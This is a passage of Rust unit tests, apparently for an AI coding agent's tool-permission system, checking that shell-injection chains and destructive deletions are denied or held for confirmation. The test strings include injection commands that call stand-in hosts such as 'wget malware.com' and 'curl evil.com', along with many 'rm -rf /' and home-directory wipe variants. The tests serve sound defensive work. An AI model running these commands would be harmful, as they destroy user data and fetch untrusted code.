1039 ToolPermissionDecision::Allow
1040 );
1041 }
1042
1043 #[test]
1044 fn partial_tool_name_no_match() {
1045 let mut tools = collections::HashMap::default();
1046 tools.insert(
1047 Arc::from("term"),
1048 ToolRules {
1049 default: Some(ToolPermissionMode::Deny),
1050 always_allow: vec![],
1051 always_deny: vec![],
1052 always_confirm: vec![],
1053 invalid_patterns: vec![],
1054 },
1055 );
1056 let p = ToolPermissions {
1057 default: ToolPermissionMode::Confirm,
1058 tools,
1059 };
1060 // "terminal" should not match "term" rules, so falls back to Confirm (no rules)
1061 assert_eq!(
1062 ToolPermissionDecision::from_input(
1063 TerminalTool::NAME,
1064 &["x".to_string()],
1065 &p,
1066 ShellKind::Posix
1067 ),
1068 ToolPermissionDecision::Confirm
1069 );
1070 }
1071
1072 // invalid patterns block the tool
1073 #[test]
1074 fn invalid_pattern_blocks() {
1075 let mut tools = collections::HashMap::default();
1076 tools.insert(
1077 Arc::from(TerminalTool::NAME),
1078 ToolRules {
1079 default: Some(ToolPermissionMode::Allow),
1080 always_allow: vec![CompiledRegex::new("echo", false).unwrap()],
1081 always_deny: vec![],
1082 always_confirm: vec![],
1083 invalid_patterns: vec![InvalidRegexPattern {
1084 pattern: "[bad".into(),
1085 rule_type: "always_deny".into(),
1086 error: "err".into(),
1087 }],
1088 },
1089 );
1090 let p = ToolPermissions {
1091 default: ToolPermissionMode::Confirm,
1092 tools,
1093 };
1094 // Invalid patterns block the tool regardless of other settings
1095 assert!(matches!(
1096 ToolPermissionDecision::from_input(
1097 TerminalTool::NAME,
1098 &["echo hi".to_string()],
1099 &p,
1100 ShellKind::Posix
1101 ),
1102 ToolPermissionDecision::Deny(_)
1103 ));
1104 }
1105
1106 #[test]
1107 fn invalid_substitution_bearing_command_denies_by_default() {
1108 let decision = no_rules("echo $HOME", ToolPermissionMode::Deny);
1109 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
1110 }
1111
1112 #[test]
1113 fn invalid_substitution_bearing_command_denies_in_confirm_mode() {
1114 let decision = no_rules("echo $(whoami)", ToolPermissionMode::Confirm);
1115 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
1116 }
1117
1118 #[test]
1119 fn unconditional_allow_all_bypasses_invalid_command_rejection_without_tool_rules() {
1120 let decision = no_rules("echo $HOME", ToolPermissionMode::Allow);
1121 assert_eq!(decision, ToolPermissionDecision::Allow);
1122 }
1123
1124 #[test]
1125 fn unconditional_allow_all_bypasses_invalid_command_rejection_with_terminal_default_allow() {
1126 let mut tools = collections::HashMap::default();
1127 tools.insert(
1128 Arc::from(TerminalTool::NAME),
1129 ToolRules {
1130 default: Some(ToolPermissionMode::Allow),
1131 always_allow: vec![],
1132 always_deny: vec![],
1133 always_confirm: vec![],
1134 invalid_patterns: vec![],
1135 },
1136 );
1137 let permissions = ToolPermissions {
1138 default: ToolPermissionMode::Confirm,
1139 tools,
1140 };
1141
1142 assert_eq!(
1143 ToolPermissionDecision::from_input(
1144 TerminalTool::NAME,
1145 &["echo $(whoami)".to_string()],
1146 &permissions,
1147 ShellKind::Posix,
1148 ),
1149 ToolPermissionDecision::Allow
1150 );
1151 }
1152
1153 #[test]
1154 fn old_anchored_pattern_no_longer_matches_env_prefixed_command() {
1155 t("PAGER=blah git log").allow(&["^git\\b"]).is_confirm();
1156 }
1157
1158 #[test]
1159 fn env_prefixed_allow_pattern_matches_env_prefixed_command() {
1160 t("PAGER=blah git log --oneline")
1161 .allow(&["^PAGER=blah\\s+git\\s+log(\\s|$)"])
1162 .is_allow();
1163 }
1164
1165 #[test]
1166 fn env_prefixed_allow_pattern_requires_matching_env_value() {
1167 t("PAGER=more git log --oneline")
1168 .allow(&["^PAGER=blah\\s+git\\s+log(\\s|$)"])
1169 .is_confirm();
1170 }
1171
1172 #[test]
1173 fn env_prefixed_allow_patterns_require_all_extracted_commands_to_match() {
1174 t("PAGER=blah git log && git status")
1175 .allow(&["^PAGER=blah\\s+git\\s+log(\\s|$)"])
1176 .is_confirm();
1177 }
1178
1179 #[test]
1180 fn hardcoded_security_denial_overrides_unconditional_allow_all() {
1181 let decision = no_rules("rm -rf /", ToolPermissionMode::Allow);
1182 match decision {
1183 ToolPermissionDecision::Deny(message) => {
1184 assert!(
1185 message.contains("built-in security rule"),
1186 "expected hardcoded denial message, got: {message}"
1187 );
1188 }
1189 other => panic!("expected Deny, got {other:?}"),
1190 }
1191 }
1192
1193 #[test]
1194 fn hardcoded_security_denial_overrides_unconditional_allow_all_for_invalid_command() {
1195 let decision = no_rules("echo $(rm -rf /)", ToolPermissionMode::Allow);
1196 match decision {
1197 ToolPermissionDecision::Deny(message) => {
1198 assert!(
1199 message.contains("built-in security rule"),
1200 "expected hardcoded denial message, got: {message}"
1201 );
1202 }
1203 other => panic!("expected Deny, got {other:?}"),
1204 }
1205 }
1206
1207 #[test]
1208 fn shell_injection_via_double_ampersand_not_allowed() {
1209 t("ls && wget malware.com").allow(&["^ls"]).is_confirm();
1210 }
1211
1212 #[test]
1213 fn shell_injection_via_semicolon_not_allowed() {
1214 t("ls; wget malware.com").allow(&["^ls"]).is_confirm();
1215 }
1216
1217 #[test]
1218 fn shell_injection_via_pipe_not_allowed() {
1219 t("ls | xargs curl evil.com").allow(&["^ls"]).is_confirm();
1220 }
1221
1222 #[test]
1223 fn shell_injection_via_backticks_not_allowed() {
1224 t("echo `wget malware.com`")
1225 .allow(&[pattern("echo")])
1226 .is_deny();
1227 }
1228
1229 #[test]
1230 fn shell_injection_via_dollar_parens_not_allowed() {
1231 t("echo $(wget malware.com)")
1232 .allow(&[pattern("echo")])
1233 .is_deny();
1234 }
1235
1236 #[test]
1237 fn shell_injection_via_or_operator_not_allowed() {
1238 t("ls || wget malware.com").allow(&["^ls"]).is_confirm();
1239 }
1240
1241 #[test]
1242 fn shell_injection_via_background_operator_not_allowed() {
1243 t("ls & wget malware.com").allow(&["^ls"]).is_confirm();
1244 }
1245
1246 #[test]
1247 fn shell_injection_via_newline_not_allowed() {
1248 t("ls\nwget malware.com").allow(&["^ls"]).is_confirm();
1249 }
1250
1251 #[test]
1252 fn shell_injection_via_process_substitution_input_not_allowed() {
1253 t("cat <(wget malware.com)").allow(&["^cat"]).is_deny();
1254 }
1255
1256 #[test]
1257 fn shell_injection_via_process_substitution_output_not_allowed() {
1258 t("ls >(wget malware.com)").allow(&["^ls"]).is_deny();
1259 }
1260
1261 #[test]
1262 fn shell_injection_without_spaces_not_allowed() {
1263 t("ls&&wget malware.com").allow(&["^ls"]).is_confirm();
1264 t("ls;wget malware.com").allow(&["^ls"]).is_confirm();
1265 }
1266
1267 #[test]
1268 fn shell_injection_multiple_chained_operators_not_allowed() {
1269 t("ls && echo hello && wget malware.com")
1270 .allow(&["^ls"])
1271 .is_confirm();
1272 }
1273
1274 #[test]
1275 fn shell_injection_mixed_operators_not_allowed() {
1276 t("ls; echo hello && wget malware.com")
1277 .allow(&["^ls"])
1278 .is_confirm();
1279 }
1280
1281 #[test]
1282 fn shell_injection_pipe_stderr_not_allowed() {
1283 t("ls |& wget malware.com").allow(&["^ls"]).is_confirm();
1284 }
1285
1286 #[test]
1287 fn allow_requires_all_commands_to_match() {
1288 t("ls && echo hello").allow(&["^ls", "^echo"]).is_allow();
1289 }
1290
1291 #[test]
1292 fn dev_null_redirect_does_not_cause_false_negative() {
1293 // Redirects to /dev/null are known-safe and should be skipped during
1294 // command extraction, so they don't prevent auto-allow from matching.
1295 t(r#"git log --oneline -20 2>/dev/null || echo "not a git repo or no commits""#)
1296 .allow(&[r"^git\s+(status|diff|log|show)\b", "^echo"])
1297 .is_allow();
1298 }
1299
1300 #[test]
1301 fn redirect_to_real_file_still_causes_confirm() {
1302 // Redirects to real files (not /dev/null) should still be included in
1303 // the extracted commands, so they prevent auto-allow when unmatched.
1304 t("echo hello > /etc/passwd").allow(&["^echo"]).is_confirm();
1305 }
1306
1307 #[test]
1308 fn pipe_does_not_cause_false_negative_when_all_commands_match() {
1309 // A piped command like `echo "y\ny" | git add -p file` produces two commands:
1310 // "echo y\ny" and "git add -p file". Both should match their respective allow
1311 // patterns, so the overall command should be auto-allowed.
1312 t(r#"echo "y\ny" | git add -p crates/acp_thread/src/acp_thread.rs"#)
1313 .allow(&[r"^git\s+(--no-pager\s+)?(fetch|status|diff|log|show|add|commit|push|checkout\s+-b)\b", "^echo"])
1314 .is_allow();
1315 }
1316
1317 #[test]
1318 fn deny_triggers_on_any_matching_command() {
1319 t("ls && rm file").allow(&["^ls"]).deny(&["^rm"]).is_deny();
1320 }
1321
1322 #[test]
1323 fn deny_catches_injected_command() {
1324 t("ls && rm -rf ./temp")
1325 .allow(&["^ls"])
1326 .deny(&["^rm"])
1327 .is_deny();
1328 }
1329
1330 #[test]
1331 fn confirm_triggers_on_any_matching_command() {
1332 t("ls && sudo reboot")
1333 .allow(&["^ls"])
1334 .confirm(&["^sudo"])
1335 .is_confirm();
1336 }
1337
1338 #[test]
1339 fn always_allow_button_works_end_to_end() {
1340 // This test verifies that the "Always Allow" button behavior works correctly:
1341 // 1. User runs a command like "cargo build --release"
1342 // 2. They click "Always Allow for `cargo build` commands"
1343 // 3. The pattern extracted should match future "cargo build" commands
1344 // but NOT other cargo subcommands like "cargo test"
1345 let original_command = "cargo build --release";
1346 let extracted_pattern = pattern(original_command);
1347
1348 // The extracted pattern should allow the original command
1349 t(original_command).allow(&[extracted_pattern]).is_allow();
1350
1351 // It should allow other "cargo build" invocations with different flags
1352 t("cargo build").allow(&[extracted_pattern]).is_allow();
1353 t("cargo build --features foo")
1354 .allow(&[extracted_pattern])
1355 .is_allow();
1356
1357 // But NOT other cargo subcommands — the pattern is subcommand-specific
1358 t("cargo test").allow(&[extracted_pattern]).is_confirm();
1359 t("cargo fmt").allow(&[extracted_pattern]).is_confirm();
1360
1361 // Hyphenated extensions of the subcommand should not match either
1362 // (e.g. cargo plugins like "cargo build-foo")
1363 t("cargo build-foo")
1364 .allow(&[extracted_pattern])
1365 .is_confirm();
1366 t("cargo builder").allow(&[extracted_pattern]).is_confirm();
1367
1368 // But not commands with different base commands
1369 t("npm install").allow(&[extracted_pattern]).is_confirm();
1370
1371 // Chained commands: all must match the pattern
1372 t("cargo build && cargo build --release")
1373 .allow(&[extracted_pattern])
1374 .is_allow();
1375
1376 // But reject if any subcommand doesn't match
1377 t("cargo build && npm install")
1378 .allow(&[extracted_pattern])
1379 .is_confirm();
1380 }
1381
1382 #[test]
1383 fn always_allow_button_works_without_subcommand() {
1384 // When the second token is a flag (e.g. "ls -la"), the extracted pattern
1385 // should only include the command name, not the flag.
1386 let original_command = "ls -la";
1387 let extracted_pattern = pattern(original_command);
1388
1389 // The extracted pattern should allow the original command
1390 t(original_command).allow(&[extracted_pattern]).is_allow();
1391
1392 // It should allow other invocations of the same command
1393 t("ls").allow(&[extracted_pattern]).is_allow();
1394 t("ls -R /tmp").allow(&[extracted_pattern]).is_allow();
1395
1396 // But not different commands
1397 t("cat file.txt").allow(&[extracted_pattern]).is_confirm();
1398
1399 // Chained commands: all must match
1400 t("ls -la && ls /tmp")
1401 .allow(&[extracted_pattern])
1402 .is_allow();
1403 t("ls -la && cat file.txt")
1404 .allow(&[extracted_pattern])
1405 .is_confirm();
1406 }
1407
1408 #[test]
1409 fn nested_command_substitution_is_denied() {
1410 t("echo $(cat $(whoami).txt)")
1411 .allow(&["^echo", "^cat", "^whoami"])
1412 .is_deny();
1413 }
1414
1415 #[test]
1416 fn parse_failure_is_denied() {
1417 t("ls &&").allow(&["^ls$"]).is_deny();
1418 }
1419
1420 #[test]
1421 fn mcp_tool_default_modes() {
1422 t("")
1423 .tool("mcp:fs:read")
1424 .mode(ToolPermissionMode::Allow)
1425 .is_allow();
1426 t("")
1427 .tool("mcp:bad:del")
1428 .mode(ToolPermissionMode::Deny)
1429 .is_deny();
1430 t("")
1431 .tool("mcp:gh:issue")
1432 .mode(ToolPermissionMode::Confirm)
1433 .is_confirm();
1434 t("")
1435 .tool("mcp:gh:issue")
1436 .mode(ToolPermissionMode::Confirm)
1437 .global_default(ToolPermissionMode::Allow)
1438 .is_confirm();
1439 }
1440
1441 #[test]
1442 fn mcp_doesnt_collide_with_builtin() {
1443 let mut tools = collections::HashMap::default();
1444 tools.insert(
1445 Arc::from(TerminalTool::NAME),
1446 ToolRules {
1447 default: Some(ToolPermissionMode::Deny),
1448 always_allow: vec![],
1449 always_deny: vec![],
1450 always_confirm: vec![],
1451 invalid_patterns: vec![],
1452 },
1453 );
1454 tools.insert(
1455 Arc::from("mcp:srv:terminal"),
1456 ToolRules {
1457 default: Some(ToolPermissionMode::Allow),
1458 always_allow: vec![],
1459 always_deny: vec![],
1460 always_confirm: vec![],
1461 invalid_patterns: vec![],
1462 },
1463 );
1464 let p = ToolPermissions {
1465 default: ToolPermissionMode::Confirm,
1466 tools,
1467 };
1468 assert!(matches!(
1469 ToolPermissionDecision::from_input(
1470 TerminalTool::NAME,
1471 &["x".to_string()],
1472 &p,
1473 ShellKind::Posix
1474 ),
1475 ToolPermissionDecision::Deny(_)
1476 ));
1477 assert_eq!(
1478 ToolPermissionDecision::from_input(
1479 "mcp:srv:terminal",
1480 &["x".to_string()],
1481 &p,
1482 ShellKind::Posix
1483 ),
1484 ToolPermissionDecision::Allow
1485 );
1486 }
1487
1488 #[test]
1489 fn case_insensitive_by_default() {
1490 t("CARGO TEST").allow(&[pattern("cargo")]).is_allow();
1491 t("Cargo Test").allow(&[pattern("cargo")]).is_allow();
1492 }
1493
1494 #[test]
1495 fn case_sensitive_allow() {
1496 t("cargo test")
1497 .allow_case_sensitive(&[pattern("cargo")])
1498 .is_allow();
1499 t("CARGO TEST")
1500 .allow_case_sensitive(&[pattern("cargo")])
1501 .is_confirm();
1502 }
1503
1504 #[test]
1505 fn case_sensitive_deny() {
1506 t("rm -rf ./temp")
1507 .deny_case_sensitive(&[pattern("rm")])
1508 .is_deny();
1509 t("RM -RF ./temp")
1510 .deny_case_sensitive(&[pattern("rm")])
1511 .mode(ToolPermissionMode::Allow)
1512 .is_allow();
1513 }
1514
1515 #[test]
1516 fn nushell_allows_with_allow_pattern() {
1517 t("ls").allow(&["^ls"]).shell(ShellKind::Nushell).is_allow();
1518 }
1519
1520 #[test]
1521 fn nushell_allows_deny_patterns() {
1522 t("rm -rf ./temp")
1523 .deny(&["rm\\s+-rf"])
1524 .shell(ShellKind::Nushell)
1525 .is_deny();
1526 }
1527
1528 #[test]
1529 fn nushell_allows_confirm_patterns() {
1530 t("sudo reboot")
1531 .confirm(&["sudo"])
1532 .shell(ShellKind::Nushell)
1533 .is_confirm();
1534 }
1535
1536 #[test]
1537 fn nushell_no_allow_patterns_uses_default() {
1538 t("ls")
1539 .deny(&["rm"])
1540 .mode(ToolPermissionMode::Allow)
1541 .shell(ShellKind::Nushell)
1542 .is_allow();
1543 }
1544
1545 #[test]
1546 fn elvish_allows_with_allow_pattern() {
1547 t("ls").allow(&["^ls"]).shell(ShellKind::Elvish).is_allow();
1548 }
1549
1550 #[test]
1551 fn rc_allows_with_allow_pattern() {
1552 t("ls").allow(&["^ls"]).shell(ShellKind::Rc).is_allow();
1553 }
1554
1555 #[test]
1556 fn multiple_invalid_patterns_pluralizes_message() {
1557 let mut tools = collections::HashMap::default();
1558 tools.insert(
1559 Arc::from(TerminalTool::NAME),
1560 ToolRules {
1561 default: Some(ToolPermissionMode::Allow),
1562 always_allow: vec![],
1563 always_deny: vec![],
1564 always_confirm: vec![],
1565 invalid_patterns: vec![
1566 InvalidRegexPattern {
1567 pattern: "[bad1".into(),
1568 rule_type: "always_deny".into(),
1569 error: "err1".into(),
1570 },
1571 InvalidRegexPattern {
1572 pattern: "[bad2".into(),
1573 rule_type: "always_allow".into(),
1574 error: "err2".into(),
1575 },
1576 ],
1577 },
1578 );
1579 let p = ToolPermissions {
1580 default: ToolPermissionMode::Confirm,
1581 tools,
1582 };
1583
1584 let result = ToolPermissionDecision::from_input(
1585 TerminalTool::NAME,
1586 &["echo hi".to_string()],
1587 &p,
1588 ShellKind::Posix,
1589 );
1590 match result {
1591 ToolPermissionDecision::Deny(msg) => {
1592 assert!(
1593 msg.contains("2 regex patterns"),
1594 "Expected '2 regex patterns' in message, got: {}",
1595 msg
1596 );
1597 }
1598 other => panic!("Expected Deny, got {:?}", other),
1599 }
1600 }
1601
1602 // always_confirm patterns on non-terminal tools
1603 #[test]
1604 fn always_confirm_works_for_file_tools() {
1605 t("sensitive.env")
1606 .tool(EditFileTool::NAME)
1607 .confirm(&["sensitive"])
1608 .is_confirm();
1609
1610 t("normal.txt")
1611 .tool(EditFileTool::NAME)
1612 .confirm(&["sensitive"])
1613 .mode(ToolPermissionMode::Allow)
1614 .is_allow();
1615
1616 t("/etc/config")
1617 .tool(DeletePathTool::NAME)
1618 .confirm(&["/etc/"])
1619 .is_confirm();
1620
1621 t("/home/user/safe.txt")
1622 .tool(DeletePathTool::NAME)
1623 .confirm(&["/etc/"])
1624 .mode(ToolPermissionMode::Allow)
1625 .is_allow();
1626
1627 t("https://secret.internal.com/api")
1628 .tool(FetchTool::NAME)
1629 .confirm(&["secret\\.internal"])
1630 .is_confirm();
1631
1632 t("https://public.example.com/api")
1633 .tool(FetchTool::NAME)
1634 .confirm(&["secret\\.internal"])
1635 .mode(ToolPermissionMode::Allow)
1636 .is_allow();
1637
1638 // confirm on non-terminal tools still beats allow
1639 t("sensitive.env")
1640 .tool(EditFileTool::NAME)
1641 .allow(&["sensitive"])
1642 .confirm(&["\\.env$"])
1643 .is_confirm();
1644
1645 // confirm on non-terminal tools is still beaten by deny
1646 t("sensitive.env")
1647 .tool(EditFileTool::NAME)
1648 .confirm(&["sensitive"])
1649 .deny(&["\\.env$"])
1650 .is_deny();
1651
1652 // global default allow does not bypass confirm on non-terminal tools
1653 t("/etc/passwd")
1654 .tool(EditFileTool::NAME)
1655 .confirm(&["/etc/"])
1656 .global_default(ToolPermissionMode::Allow)
1657 .is_confirm();
1658 }
1659
1660 // Hardcoded security rules tests - these rules CANNOT be bypassed
1661
1662 #[test]
1663 fn hardcoded_blocks_rm_rf_root() {
1664 t("rm -rf /").is_deny();
1665 t("rm -fr /").is_deny();
1666 t("rm -RF /").is_deny();
1667 t("rm -FR /").is_deny();
1668 t("rm -r -f /").is_deny();
1669 t("rm -f -r /").is_deny();
1670 t("RM -RF /").is_deny();
1671 t("rm /").is_deny();
1672 // Long flags
1673 t("rm --recursive --force /").is_deny();
1674 t("rm --force --recursive /").is_deny();
1675 // Extra short flags
1676 t("rm -rfv /").is_deny();
1677 t("rm -v -rf /").is_deny();
1678 // Glob wildcards
1679 t("rm -rf /*").is_deny();
1680 t("rm -rf /* ").is_deny();
1681 // End-of-options marker
1682 t("rm -rf -- /").is_deny();
1683 t("rm -- /").is_deny();
1684 // Prefixed with sudo or other commands
1685 t("sudo rm -rf /").is_deny();
1686 t("sudo rm -rf /*").is_deny();
1687 t("sudo rm -rf --no-preserve-root /").is_deny();
1688 }
1689
1690 #[test]
1691 fn hardcoded_blocks_rm_rf_home() {
1692 t("rm -rf ~").is_deny();
1693 t("rm -fr ~").is_deny();
1694 t("rm -rf ~/").is_deny();
1695 t("rm -rf $HOME").is_deny();
1696 t("rm -fr $HOME").is_deny();
1697 t("rm -rf $HOME/").is_deny();
1698 t("rm -rf ${HOME}").is_deny();
1699 t("rm -rf ${HOME}/").is_deny();
1700 t("rm -RF $HOME").is_deny();
1701 t("rm -FR ${HOME}/").is_deny();
1702 t("rm -R -F ${HOME}/").is_deny();
1703 t("RM -RF ~").is_deny();
1704 // Long flags
1705 t("rm --recursive --force ~").is_deny();
1706 t("rm --recursive --force ~/").is_deny();
1707 t("rm --recursive --force $HOME").is_deny();
1708 t("rm --force --recursive ${HOME}/").is_deny();
1709 // Extra short flags
1710 t("rm -rfv ~").is_deny();
1711 t("rm -v -rf ~/").is_deny();
1712 // Glob wildcards
1713 t("rm -rf ~/*").is_deny();
1714 t("rm -rf $HOME/*").is_deny();
1715 t("rm -rf ${HOME}/*").is_deny();
1716 // End-of-options marker
1717 t("rm -rf -- ~").is_deny();
1718 t("rm -rf -- ~/").is_deny();
1719 t("rm -rf -- $HOME").is_deny();
1720 }
1721
1722 #[test]
1723 fn hardcoded_blocks_rm_rf_home_with_traversal() {
1724 // Path traversal after $HOME / ${HOME} should still be blocked
1725 t("rm -rf $HOME/./").is_deny();
1726 t("rm -rf $HOME/foo/..").is_deny();
1727 t("rm -rf ${HOME}/.").is_deny();
1728 t("rm -rf ${HOME}/./").is_deny();
1729 t("rm -rf $HOME/a/b/../..").is_deny();
1730 t("rm -rf ${HOME}/foo/bar/../..").is_deny();
1731 // Subdirectories should NOT be blocked
1732 t("rm -rf $HOME/subdir")
1733 .mode(ToolPermissionMode::Allow)
1734 .is_allow();
1735 t("rm -rf ${HOME}/Documents")
1736 .mode(ToolPermissionMode::Allow)
1737 .is_allow();
1738 }
1739
1740 #[test]
1741 fn hardcoded_blocks_rm_rf_dot() {
1742 t("rm -rf .").is_deny();
1743 t("rm -fr .").is_deny();
1744 t("rm -rf ./").is_deny();
1745 t("rm -rf ..").is_deny();
1746 t("rm -fr ..").is_deny();
1747 t("rm -rf ../").is_deny();
1748 t("rm -RF .").is_deny();
1749 t("rm -FR ../").is_deny();
1750 t("rm -R -F ../").is_deny();
1751 t("RM -RF .").is_deny();
1752 t("RM -RF ..").is_deny();
1753 // Long flags
1754 t("rm --recursive --force .").is_deny();
1755 t("rm --force --recursive ../").is_deny();
1756 // Extra short flags
1757 t("rm -rfv .").is_deny();
1758 t("rm -v -rf ../").is_deny();
1759 // Glob wildcards
1760 t("rm -rf ./*").is_deny();
1761 t("rm -rf ../*").is_deny();
1762 // End-of-options marker
1763 t("rm -rf -- .").is_deny();
1764 t("rm -rf -- ../").is_deny();
1765 }
1766
1767 #[test]
1768 fn hardcoded_cannot_be_bypassed_by_global() {
1769 // Even with global default Allow, hardcoded rules block
1770 t("rm -rf /")
1771 .global_default(ToolPermissionMode::Allow)
1772 .is_deny();
1773 t("rm -rf ~")
1774 .global_default(ToolPermissionMode::Allow)
1775 .is_deny();
1776 t("rm -rf $HOME")
1777 .global_default(ToolPermissionMode::Allow)
1778 .is_deny();
1779 t("rm -rf .")
1780 .global_default(ToolPermissionMode::Allow)
1781 .is_deny();
1782 t("rm -rf ..")
1783 .global_default(ToolPermissionMode::Allow)
1784 .is_deny();
1785 }
1786
1787 #[test]
1788 fn hardcoded_cannot_be_bypassed_by_allow_pattern() {
1789 // Even with an allow pattern that matches, hardcoded rules block
1790 t("rm -rf /").allow(&[".*"]).is_deny();
1791 t("rm -rf $HOME").allow(&[".*"]).is_deny();
1792 t("rm -rf .").allow(&[".*"]).is_deny();
1793 t("rm -rf ..").allow(&[".*"]).is_deny();
1794 }
1795
1796 #[test]
1797 fn hardcoded_allows_safe_rm() {
1798 // rm -rf on a specific path should NOT be blocked
1799 t("rm -rf ./build")
1800 .mode(ToolPermissionMode::Allow)
1801 .is_allow();
1802 t("rm -rf /tmp/test")
1803 .mode(ToolPermissionMode::Allow)
1804 .is_allow();
1805 t("rm -rf ~/Documents")
1806 .mode(ToolPermissionMode::Allow)
1807 .is_allow();
1808 t("rm -rf $HOME/Documents")
1809 .mode(ToolPermissionMode::Allow)
1810 .is_allow();
1811 t("rm -rf ../some_dir")
1812 .mode(ToolPermissionMode::Allow)
1813 .is_allow();
1814 t("rm -rf .hidden_dir")
1815 .mode(ToolPermissionMode::Allow)
1816 .is_allow();
1817 t("rm -rfv ./build")
1818 .mode(ToolPermissionMode::Allow)
1819 .is_allow();
1820 t("rm --recursive --force ./build")
1821 .mode(ToolPermissionMode::Allow)
1822 .is_allow();
1823 }
1824
1825 #[test]
1826 fn hardcoded_checks_chained_commands() {
1827 // Hardcoded rules should catch dangerous commands in chains
1828 t("ls && rm -rf /").is_deny();
1829 t("echo hello; rm -rf ~").is_deny();
1830 t("cargo build && rm -rf /")
1831 .global_default(ToolPermissionMode::Allow)
1832 .is_deny();
1833 t("echo hello; rm -rf $HOME").is_deny();
1834 t("echo hello; rm -rf .").is_deny();
1835 t("echo hello; rm -rf ..").is_deny();
1836 }
1837
1838 #[test]
1839 fn hardcoded_blocks_rm_with_extra_flags() {
1840 // Extra flags like -v, -i should not bypass the security rules
1841 t("rm -rfv /").is_deny();
1842 t("rm -v -rf /").is_deny();
1843 t("rm -rfi /").is_deny();
1844 t("rm -rfv ~").is_deny();
1845 t("rm -rfv ~/").is_deny();
1846 t("rm -rfv $HOME").is_deny();
1847 t("rm -rfv .").is_deny();
1848 t("rm -rfv ./").is_deny();
1849 t("rm -rfv ..").is_deny();
1850 t("rm -rfv ../").is_deny();
1851 }
1852
1853 #[test]
1854 fn hardcoded_blocks_rm_with_long_flags() {
1855 t("rm --recursive --force /").is_deny();
1856 t("rm --force --recursive /").is_deny();
1857 t("rm --recursive --force ~").is_deny();
1858 t("rm --recursive --force ~/").is_deny();
1859 t("rm --recursive --force $HOME").is_deny();
1860 t("rm --recursive --force .").is_deny();
1861 t("rm --recursive --force ..").is_deny();
1862 }
1863
1864 #[test]
1865 fn hardcoded_blocks_rm_with_glob_star() {
1866 // rm -rf /* is equally catastrophic to rm -rf /
1867 t("rm -rf /*").is_deny();
1868 t("rm -rf ~/*").is_deny();
1869 t("rm -rf $HOME/*").is_deny();
1870 t("rm -rf ${HOME}/*").is_deny();
1871 t("rm -rf ./*").is_deny();
1872 t("rm -rf ../*").is_deny();
1873 }
1874
1875 #[test]
1876 fn hardcoded_extra_flags_allow_safe_rm() {
1877 // Extra flags on specific paths should NOT be blocked
1878 t("rm -rfv ~/somedir")
1879 .mode(ToolPermissionMode::Allow)
1880 .is_allow();
1881 t("rm -rfv /tmp/test")
1882 .mode(ToolPermissionMode::Allow)
1883 .is_allow();
1884 t("rm --recursive --force ./build")
1885 .mode(ToolPermissionMode::Allow)
1886 .is_allow();
1887 }
1888
1889 #[test]
1890 fn hardcoded_does_not_block_words_containing_rm() {
1891 // Words like "storm", "inform" contain "rm" but should not be blocked
1892 t("storm -rf /").mode(ToolPermissionMode::Allow).is_allow();
1893 t("inform -rf /").mode(ToolPermissionMode::Allow).is_allow();
1894 t("gorm -rf ~").mode(ToolPermissionMode::Allow).is_allow();
1895 }
1896
1897 #[test]
1898 fn hardcoded_blocks_rm_with_trailing_flags() {
1899 // GNU rm accepts flags after operands by default
1900 t("rm / -rf").is_deny();
1901 t("rm / -fr").is_deny();
1902 t("rm / -RF").is_deny();
1903 t("rm / -r -f").is_deny();
1904 t("rm / --recursive --force").is_deny();
1905 t("rm / -rfv").is_deny();
1906 t("rm /* -rf").is_deny();
1907 // Mixed: some flags before path, some after
1908 t("rm -r / -f").is_deny();
1909 t("rm -f / -r").is_deny();
1910 // Home
1911 t("rm ~ -rf").is_deny();
1912 t("rm ~/ -rf").is_deny();
1913 t("rm ~ -r -f").is_deny();
1914 t("rm $HOME -rf").is_deny();
1915 t("rm ${HOME} -rf").is_deny();
1916 // Dot / dotdot
1917 t("rm . -rf").is_deny();
1918 t("rm ./ -rf").is_deny();
1919 t("rm . -r -f").is_deny();
1920 t("rm .. -rf").is_deny();
1921 t("rm ../ -rf").is_deny();
1922 t("rm .. -r -f").is_deny();
1923 // Trailing flags in chained commands
1924 t("ls && rm / -rf").is_deny();
1925 t("echo hello; rm ~ -rf").is_deny();
1926 // Safe paths with trailing flags should NOT be blocked
1927 t("rm ./build -rf")
1928 .mode(ToolPermissionMode::Allow)
1929 .is_allow();
1930 t("rm /tmp/test -rf")
1931 .mode(ToolPermissionMode::Allow)
1932 .is_allow();
1933 t("rm ~/Documents -rf")
1934 .mode(ToolPermissionMode::Allow)
1935 .is_allow();
1936 }
1937
1938 #[test]
1939 fn hardcoded_blocks_rm_with_flag_equals_value() {
1940 // --flag=value syntax should not bypass the rules
1941 t("rm --no-preserve-root=yes -rf /").is_deny();
1942 t("rm --no-preserve-root=yes --recursive --force /").is_deny();
1943 t("rm -rf --no-preserve-root=yes /").is_deny();
1944 t("rm --interactive=never -rf /").is_deny();
1945 t("rm --no-preserve-root=yes -rf ~").is_deny();
1946 t("rm --no-preserve-root=yes -rf .").is_deny();
1947 t("rm --no-preserve-root=yes -rf ..").is_deny();
1948 t("rm --no-preserve-root=yes -rf $HOME").is_deny();
1949 // --flag (without =value) should also not bypass the rules
1950 t("rm -rf --no-preserve-root /").is_deny();
1951 t("rm --no-preserve-root -rf /").is_deny();
1952 t("rm --no-preserve-root --recursive --force /").is_deny();
1953 t("rm -rf --no-preserve-root ~").is_deny();
1954 t("rm -rf --no-preserve-root .").is_deny();
1955 t("rm -rf --no-preserve-root ..").is_deny();
1956 t("rm -rf --no-preserve-root $HOME").is_deny();
1957 // Trailing --flag=value after path
1958 t("rm / --no-preserve-root=yes -rf").is_deny();
1959 t("rm ~ -rf --no-preserve-root=yes").is_deny();
1960 // Trailing --flag (without =value) after path
1961 t("rm / -rf --no-preserve-root").is_deny();
1962 t("rm ~ -rf --no-preserve-root").is_deny();
1963 // Safe paths with --flag=value should NOT be blocked
1964 t("rm --no-preserve-root=yes -rf ./build")
1965 .mode(ToolPermissionMode::Allow)
1966 .is_allow();
1967 t("rm --interactive=never -rf /tmp/test")
1968 .mode(ToolPermissionMode::Allow)
1969 .is_allow();
1970 // Safe paths with --flag (without =value) should NOT be blocked
1971 t("rm --no-preserve-root -rf ./build")
1972 .mode(ToolPermissionMode::Allow)
1973 .is_allow();
1974 }
1975
1976 #[test]
1977 fn hardcoded_blocks_rm_with_path_traversal() {
1978 // Traversal to root via ..
1979 t("rm -rf /etc/../").is_deny();
1980 t("rm -rf /tmp/../../").is_deny();
1981 t("rm -rf /tmp/../..").is_deny();
